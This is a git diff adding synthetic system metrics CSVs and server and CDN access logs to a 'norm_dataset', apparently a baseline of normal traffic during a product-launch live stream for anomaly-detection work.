+Aug 15 10:07:25 cdn-access: 187.183.76.51 - GET /live/product-launch-2025/segment454.ts status=206 OK +Aug 15 10:07:25 cdn-access: 44.182.251.49 - GET /live/product-launch-2025/segment449.ts status=206 OK +Aug 15 10:07:25 cdn-access: 198.65.37.158 - GET /live/product-launch-2025/segment405.ts status=206 OK +Aug 15 10:07:25 cdn-access: 5.127.46.27 - GET /live/product-launch-2025/segment742.ts status=200 OK +Aug 15 10:07:25 cdn-access: 63.189.168.99 - GET /live/product-launch-2025/segment548.ts status=200 OK +Aug 15 10:07:25 cdn-access: 160.196.148.59 - GET /live/product-launch-2025/segment796.ts status=200 OK +Aug 15 10:07:25 cdn-access: 146.221.29.240 - GET /live/product-launch-2025/segment546.ts status=200 OK +Aug 15 10:07:25 cdn-access: 245.81.230.200 - GET /live/product-launch-2025/segment349.ts status=206 OK +Aug 15 10:07:25 cdn-access: 244.122.103.165 - GET /live/product-launch-2025/segment555.ts status=200 OK diff --git a/norm_dataset/scenario_7/norm_7_4.csv b/norm_dataset/scenario_7/norm_7_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..1f4e26be32eca185aa591f023ae88dff38c67323 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-07-02T12:00:00Z,16.830305868579867,46.00147323094228,31.2338177505739,1.7670407531971624,3.3791483953247736,51 +2025-07-02T12:00:05Z,17.382140714683914,42.982993715640255,30.25761639019452,1.1064792927887748,3.263404220613833,77 +2025-07-02T12:00:10Z,13.093356169521396,48.30064612531351,25.260568845998215,1.9677396055241028,3.515544484079169,55 +2025-07-02T12:00:15Z,18.52296342602044,46.46535032019001,20.71255542955434,1.764497171952177,4.84181148411552,66 +2025-07-02T12:00:20Z,18.75241614016192,47.94853277372981,32.64608962517124,1.2089006116294436,4.738871657048603,90 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activities... +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 web-app[1234]: INFO: Live stream 'product-launch-2025' has started. +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 200 +Jul 02 12:02:35 web-app[1234]: INFO: Current viewers: 50000. +Jul 02 12:02:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:02:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:10 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:10 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:10 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:10 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:10 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:20 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:20 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:20 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:20 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:20 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:30 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: GET /live/stream.m3u8 HTTP/1.1 206 +Jul 02 12:04:00 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+2025-08-20T10:03:20Z,73.66,66.47,17.47,2.78,548.75,48405 +2025-08-20T10:03:25Z,72.39,65.91,10.81,4.19,452.53,47946 +2025-08-20T10:03:30Z,65.09,62.75,11.88,7.56,482.41,48412 +2025-08-20T10:03:35Z,65.02,61.68,10.78,2.44,457.26,49854 +2025-08-20T10:03:40Z,73.83,66.59,17.06,6.99,457.0,50021 +2025-08-20T10:03:45Z,61.71,58.71,20.12,2.45,455.66,47582 +2025-08-20T10:03:50Z,73.49,60.47,14.49,3.93,536.81,52673 +2025-08-20T10:03:55Z,66.8,64.7,17.79,3.35,519.23,47355 +2025-08-20T10:04:00Z,64.78,64.9,10.39,4.31,477.97,48644 +2025-08-20T10:04:05Z,65.35,59.64,18.36,3.97,527.33,47930 +2025-08-20T10:04:10Z,65.29,64.51,16.14,5.63,503.5,50172 +2025-08-20T10:04:15Z,62.25,64.01,12.87,4.85,473.12,50071 +2025-08-20T10:04:20Z,73.32,60.46,16.94,7.14,465.13,51284 +2025-08-20T10:04:25Z,63.61,61.7,14.16,3.8,454.22,49843 +2025-08-20T10:04:30Z,71.13,65.45,13.84,7.61,480.24,51975 +2025-08-20T10:04:35Z,66.58,63.68,14.73,6.63,530.49,51464 +2025-08-20T10:04:40Z,73.44,65.79,23.2,2.94,489.48,52666 +2025-08-20T10:04:45Z,61.91,60.08,16.22,7.82,526.77,49965 +2025-08-20T10:04:50Z,67.66,59.2,23.53,2.13,495.4,51143 +2025-08-20T10:04:55Z,65.3,64.85,16.66,3.51,545.82,47574 +2025-08-20T10:05:00Z,68.58,66.67,22.07,2.45,540.48,49407 +2025-08-20T10:05:05Z,70.33,66.98,14.74,3.44,520.74,48645 +2025-08-20T10:05:10Z,63.24,62.09,18.87,6.68,546.77,47655 +2025-08-20T10:05:15Z,74.26,64.36,23.59,7.26,491.44,51924 +2025-08-20T10:05:20Z,72.67,60.02,14.21,7.68,480.6,48187 +2025-08-20T10:05:25Z,63.44,66.38,15.33,7.33,470.63,49695 +2025-08-20T10:05:30Z,63.39,63.35,14.96,6.28,528.89,49803 +2025-08-20T10:05:35Z,68.64,58.09,16.82,5.73,504.09,48147 +2025-08-20T10:05:40Z,61.01,60.99,18.09,4.51,471.98,50776 +2025-08-20T10:05:45Z,74.67,59.87,12.55,3.67,486.03,51854 +2025-08-20T10:05:50Z,66.36,61.48,22.24,4.03,548.25,50847 +2025-08-20T10:05:55Z,62.73,62.84,14.0,7.67,549.04,47926 +2025-08-20T10:06:00Z,67.2,62.86,24.63,5.38,483.52,49145 +2025-08-20T10:06:05Z,74.16,60.82,22.44,7.66,489.96,52438 +2025-08-20T10:06:10Z,63.55,65.37,24.91,4.94,514.93,52050 +2025-08-20T10:06:15Z,73.17,66.99,20.63,5.1,488.24,51723 +2025-08-20T10:06:20Z,66.48,63.78,15.1,7.43,469.42,47100 +2025-08-20T10:06:25Z,72.83,62.43,21.06,6.54,462.38,49468 +2025-08-20T10:06:30Z,62.06,66.71,16.42,7.32,519.84,48767 +2025-08-20T10:06:35Z,71.01,63.98,12.71,4.93,459.83,50206 +2025-08-20T10:06:40Z,70.24,63.49,10.4,3.79,496.11,52466 +2025-08-20T10:06:45Z,72.14,62.39,12.48,3.07,488.57,52697 +2025-08-20T10:06:50Z,61.97,60.48,14.47,4.42,475.01,49213 +2025-08-20T10:06:55Z,73.57,66.43,21.81,2.07,532.24,48519 +2025-08-20T10:07:00Z,62.65,66.43,22.85,5.57,488.56,49024 +2025-08-20T10:07:05Z,73.52,67.67,13.65,2.1,451.41,47472 +2025-08-20T10:07:10Z,72.53,66.81,24.02,6.39,472.11,47731 +2025-08-20T10:07:15Z,68.8,63.57,10.22,7.0,452.11,48223 +2025-08-20T10:07:20Z,61.55,65.74,21.13,6.97,490.49,49708 +2025-08-20T10:07:25Z,65.59,66.79,24.57,4.32,455.65,47475 diff --git a/norm_dataset/scenario_7/norm_7_5.log b/norm_dataset/scenario_7/norm_7_5.log new file mode 100644 index 0000000000000000000000000000000000000000..f1a7c9bf1d6b52bd8f1a5e6d5dd444a07b7f9ec0 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_5.log @@ -0,0 +1,60 @@ +Aug 20 10:00:00 CRON[4000]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:00 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:00:20 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:00:40 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:00 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:01:05 CRON[4013]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:01:20 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:40 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:02:00 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:02:10 CRON[4026]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:02:20 web-app[1588]: GET /api/v1/status status=200 OK +Aug 20 10:02:30 cdn-access: 198.51.100.13 - - [20/Aug/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:02:30 cdn-access: 198.51.100.15 - - [20/Aug/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:02:30 cdn-access: 198.51.100.23 - - [20/Aug/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:02:30 cdn-access: 198.51.100.23 - - [20/Aug/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:02:30 cdn-access: 198.51.100.8 - - [20/Aug/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 live-stream-service[8080]: INFO: Current viewers: 49986. +Aug 20 10:02:30 live-stream-service[8080]: INFO: Live stream 'product-launch-2025' has started. +Aug 20 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:40 cdn-access: 198.51.100.6 - - [20/Aug/2025:10:02:40 +0000] "GET /live/chunk32.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:02:50 cdn-access: 198.51.100.20 - - [20/Aug/2025:10:02:50 +0000] "GET /live/chunk34.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:03:00 cdn-access: 198.51.100.5 - - [20/Aug/2025:10:03:00 +0000] "GET /live/chunk36.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:03:10 cdn-access: 198.51.100.15 - - [20/Aug/2025:10:03:10 +0000] "GET /live/chunk38.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:03:15 CRON[4039]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:03:20 cdn-access: 198.51.100.21 - - [20/Aug/2025:10:03:20 +0000] "GET /live/chunk40.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:30 cdn-access: 198.51.100.22 - - [20/Aug/2025:10:03:30 +0000] "GET /live/chunk42.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:03:40 cdn-access: 198.51.100.1 - - [20/Aug/2025:10:03:40 +0000] "GET /live/chunk44.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:03:50 cdn-access: 198.51.100.10 - - [20/Aug/2025:10:03:50 +0000] "GET /live/chunk46.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:04:00 cdn-access: 198.51.100.4 - - [20/Aug/2025:10:04:00 +0000] "GET /live/chunk48.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:04:10 cdn-access: 198.51.100.6 - - [20/Aug/2025:10:04:10 +0000] "GET /live/chunk50.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:20 CRON[4052]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:04:20 cdn-access: 198.51.100.24 - - [20/Aug/2025:10:04:20 +0000] "GET /live/chunk52.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:04:30 cdn-access: 198.51.100.11 - - [20/Aug/2025:10:04:30 +0000] "GET /live/chunk54.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:04:40 cdn-access: 198.51.100.11 - - [20/Aug/2025:10:04:40 +0000] "GET /live/chunk56.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:04:50 cdn-access: 198.51.100.5 - - [20/Aug/2025:10:04:50 +0000] "GET /live/chunk58.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:05:00 cdn-access: 198.51.100.17 - - [20/Aug/2025:10:05:00 +0000] "GET /live/chunk60.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:10 cdn-access: 198.51.100.21 - - [20/Aug/2025:10:05:10 +0000] "GET /live/chunk62.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:05:20 cdn-access: 198.51.100.2 - - [20/Aug/2025:10:05:20 +0000] "GET /live/chunk64.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:25 CRON[4065]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:05:30 cdn-access: 198.51.100.25 - - [20/Aug/2025:10:05:30 +0000] "GET /live/chunk66.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:05:40 cdn-access: 198.51.100.21 - - [20/Aug/2025:10:05:40 +0000] "GET /live/chunk68.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:05:50 cdn-access: 198.51.100.6 - - [20/Aug/2025:10:05:50 +0000] "GET /live/chunk70.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:00 cdn-access: 198.51.100.2 - - [20/Aug/2025:10:06:00 +0000] "GET /live/chunk72.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:06:10 cdn-access: 198.51.100.25 - - [20/Aug/2025:10:06:10 +0000] "GET /live/chunk74.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 10:06:20 cdn-access: 198.51.100.20 - - [20/Aug/2025:10:06:20 +0000] "GET /live/chunk76.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:30 CRON[4078]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:06:30 cdn-access: 198.51.100.3 - - [20/Aug/2025:10:06:30 +0000] "GET /live/chunk78.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:06:40 cdn-access: 198.51.100.8 - - [20/Aug/2025:10:06:40 +0000] "GET /live/chunk80.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:50 cdn-access: 198.51.100.20 - - [20/Aug/2025:10:06:50 +0000] "GET /live/chunk82.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:00 cdn-access: 198.51.100.13 - - [20/Aug/2025:10:07:00 +0000] "GET /live/chunk84.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 20 10:07:10 cdn-access: 198.51.100.9 - - [20/Aug/2025:10:07:10 +0000] "GET /live/chunk86.ts HTTP/1.1" 206 987123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:20 cdn-access: 198.51.100.16 - - [20/Aug/2025:10:07:20 +0000] "GET /live/chunk88.ts HTTP/1.1" 200 987123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" diff --git a/norm_dataset/scenario_7/norm_7_6.csv b/norm_dataset/scenario_7/norm_7_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..c98ee24e9ad2ed618a2ff1f2c2754f353cd83f13 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-07-02T12:00:00Z,10.86,38.59,26.06,1.08,7.25,152 +2025-07-02T12:00:05Z,12.53,35.46,21.28,1.42,9.52,168 +2025-07-02T12:00:10Z,10.47,35.18,22.86,1.33,8.73,190 +2025-07-02T12:00:15Z,12.07,35.58,27.9,1.44,8.11,120 +2025-07-02T12:00:20Z,10.34,37.05,21.13,1.45,7.09,124 +2025-07-02T12:00:25Z,11.72,39.98,27.5,1.45,5.29,144 +2025-07-02T12:00:30Z,12.31,37.36,22.42,1.11,5.35,107 +2025-07-02T12:00:35Z,10.08,36.1,26.11,1.02,5.16,127 +2025-07-02T12:00:40Z,12.26,38.44,27.44,1.21,8.8,168 +2025-07-02T12:00:45Z,10.76,36.59,23.36,1.05,7.03,198 +2025-07-02T12:00:50Z,12.43,35.92,26.34,1.45,9.13,141 +2025-07-02T12:00:55Z,12.16,37.26,29.82,1.35,8.26,161 +2025-07-02T12:01:00Z,13.93,36.57,25.5,1.27,6.55,171 +2025-07-02T12:01:05Z,13.53,37.92,22.91,1.09,8.8,111 +2025-07-02T12:01:10Z,13.11,37.25,23.83,1.42,9.31,149 +2025-07-02T12:01:15Z,13.7,36.96,28.88,1.49,7.74,192 +2025-07-02T12:01:20Z,10.41,38.6,22.22,1.14,8.31,129 +2025-07-02T12:01:25Z,11.07,35.39,26.21,1.19,7.23,114 +2025-07-02T12:01:30Z,10.73,38.06,21.32,1.44,8.06,179 +2025-07-02T12:01:35Z,13.48,39.99,26.94,1.3,7.15,153 +2025-07-02T12:01:40Z,10.59,39.85,21.89,1.24,5.9,161 +2025-07-02T12:01:45Z,10.77,35.97,20.33,1.38,7.91,195 +2025-07-02T12:01:50Z,14.23,38.13,26.35,1.25,9.89,141 +2025-07-02T12:01:55Z,14.27,36.96,27.17,1.07,9.05,109 +2025-07-02T12:02:00Z,10.47,38.4,29.37,1.17,6.82,138 +2025-07-02T12:02:05Z,10.87,36.14,22.35,1.05,7.28,154 +2025-07-02T12:02:10Z,13.14,36.35,22.49,1.04,6.02,109 +2025-07-02T12:02:15Z,14.92,38.32,28.71,1.19,8.91,163 +2025-07-02T12:02:20Z,12.53,38.95,22.26,1.42,7.53,121 +2025-07-02T12:02:25Z,14.41,35.73,24.93,1.49,9.74,181 +2025-07-02T12:02:30Z,13.57,40.0,26.15,1.1,8.63,127 +2025-07-02T12:02:35Z,11.04,36.26,27.95,1.44,6.16,113 +2025-07-02T12:02:40Z,13.54,37.62,21.55,1.34,9.26,116 +2025-07-02T12:02:45Z,13.97,35.7,28.68,1.08,7.68,118 +2025-07-02T12:02:50Z,14.48,39.21,29.95,1.47,8.8,169 +2025-07-02T12:02:55Z,13.36,36.88,28.22,1.38,9.85,160 +2025-07-02T12:03:00Z,87.5,52.45,44.32,1.81,863.73,51863 +2025-07-02T12:03:05Z,74.35,57.01,28.57,1.77,870.71,49596 +2025-07-02T12:03:10Z,70.79,56.31,27.19,1.63,953.24,49262 +2025-07-02T12:03:15Z,65.99,53.08,34.02,1.58,935.75,49969 +2025-07-02T12:03:20Z,68.97,57.06,32.69,1.77,954.88,49296 +2025-07-02T12:03:25Z,71.49,55.98,29.4,1.71,860.66,49894 +2025-07-02T12:03:30Z,71.54,54.03,31.61,1.33,938.75,52135 +2025-07-02T12:03:35Z,74.02,56.05,25.67,1.68,884.07,48462 +2025-07-02T12:03:40Z,72.6,52.64,34.12,1.24,914.82,50792 +2025-07-02T12:03:45Z,74.69,53.84,30.02,1.66,891.62,49208 +2025-07-02T12:03:50Z,71.44,55.26,30.89,1.5,863.06,49407 +2025-07-02T12:03:55Z,72.04,55.55,31.43,1.8,872.95,49471 +2025-07-02T12:04:00Z,70.93,52.14,27.05,1.78,871.58,50461 +2025-07-02T12:04:05Z,65.95,54.59,33.99,1.68,858.07,49414 +2025-07-02T12:04:10Z,66.22,55.18,28.85,1.23,890.94,49584 +2025-07-02T12:04:15Z,65.78,57.64,25.49,1.2,916.89,50961 